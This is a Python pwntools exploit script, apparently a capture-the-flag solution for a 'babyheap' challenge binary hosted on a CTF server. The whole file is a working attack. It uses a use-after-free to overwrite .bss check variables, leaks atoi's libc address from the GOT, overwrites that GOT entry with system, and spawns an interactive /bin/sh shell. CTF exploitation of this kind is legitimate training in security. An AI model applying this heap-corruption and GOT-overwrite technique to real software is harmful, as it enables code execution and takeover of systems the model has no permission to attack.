babyheap.py

#!/usr/bin/env python

import sys
from pwn import *

REMOTE = "remote" in sys.argv

def get_proc():
    if REMOTE:
        return remote("ctf.osusec.org", 10100)
    else:
        return process("./babyheap")

def create(p):
    #log.info("create")
    p.recvuntil("> ")
    p.sendline("1")

def edit(p, content):
    #log.info("edit: {}".format(repr(content)))
    p.recvuntil("> ")
    p.sendline("2")
    p.recvuntil("Content? ")
    p.sendline(content)

def show(p):
    #log.info("show")
    p.recvuntil("> ")
    p.sendline("3")
    p.recvuntil("Content: ")
    out = p.recvline()
    #log.info("\toutput: {}".format(repr(out)))
    return out

def delete(p):
    #log.info("delete")
    p.recvuntil("> ")
    p.sendline("4")

def leet(p, fill):
    #log.info("leet: {}".format(repr(fill)))
    p.recvuntil("> ")
    p.sendline("1337")
    p.recvuntil("Fill ")
    p.sendline(fill)

def get_system_offset():
    with context.local(log_level = "critical"):
        if REMOTE:
            libc = ELF("./libc.so.6")
        else:
            libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
        
        # we can leak atoi
        # get the offset from atoi to system
        return libc.symbols['system'] - libc.symbols['atoi']

def exploit():
    p = get_proc()

    # constants
    # $ readelf -a babyheap
    # check .rela.plt
    atoi = 0x602060

    # address for vars used to check if we already made a call
    # these are in .bss
    # check ida
    checks = 0x6020a0

    # UAF
    # get a pointer to the check vars so we can zero them out and do it again
    create(p)
    delete(p)
    edit(p, p64(checks))
    create(p)

    # clear out the checks, and point the buffer to atoi
    leet(p, "\0"*0x28 + p64(atoi))

    # leak libc addr (atoi)
    libc = u64(show(p).strip().ljust(8, "\0"))
    log.info("libc leak: {}".format(hex(libc)))
    system_addr = libc + get_system_offset()
    log.info("offset: {}".format(hex(get_system_offset())))
    log.info("system @ {}".format(hex(system_addr)))

    # overwrite got entry for atoi to system
    edit(p, p64(system_addr))

    # pop dat shell boi
    p.sendline("/bin/sh")
    p.interactive()

if __name__ == "__main__":
    exploit()